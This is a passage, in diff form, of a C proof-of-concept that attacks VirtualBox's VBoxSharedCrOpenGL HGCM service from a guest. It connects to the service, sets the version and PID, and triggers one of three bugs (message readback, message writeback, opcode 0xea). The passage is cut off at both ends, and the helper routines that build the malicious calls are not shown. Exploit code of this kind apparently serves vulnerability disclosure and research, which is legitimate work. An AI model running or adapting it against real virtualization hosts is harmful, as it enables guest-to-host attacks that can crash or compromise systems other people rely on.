successful. cbReturned: 0x%X.\n", cbReturned); + } + else{ + printf("HGCM Call failed. Result: %d\n", parms.hdr.result); + exit(EXIT_FAILURE); + } + +} + + +void poc(int option){ + HANDLE hDevice; + uint32_t u32ClientID; + + /* Connect to the VBoxSharedCrOpenGL service */ + hDevice = open_device(); + u32ClientID = do_connect(hDevice); + + /* Set version and PID */ + set_version(hDevice, u32ClientID); + set_pid(hDevice, u32ClientID); + + switch (option){ + case 1: + printf("[1] triggering the first bug...\n"); + trigger_message_readback(hDevice, u32ClientID); + break; + case 2: + printf("[2] triggering the second bug...\n"); + trigger_message_writeback(hDevice, u32ClientID); + break; + case 3: + printf("[3] triggering the third bug...\n"); + trigger_opcode_0xea(hDevice, u32ClientID); + break; + default: + printf("[!] Unknown option %d.\n", option); + } + + /* Disconnect from the VBoxSharedCrOpenGL service */ + do_disconnect(hDevice, u32ClientID); + CloseHandle(hDevice); +} + + + + +int main(int argc, char* argv[]) +{ + if (argc < 2){ + printf("Usage: %s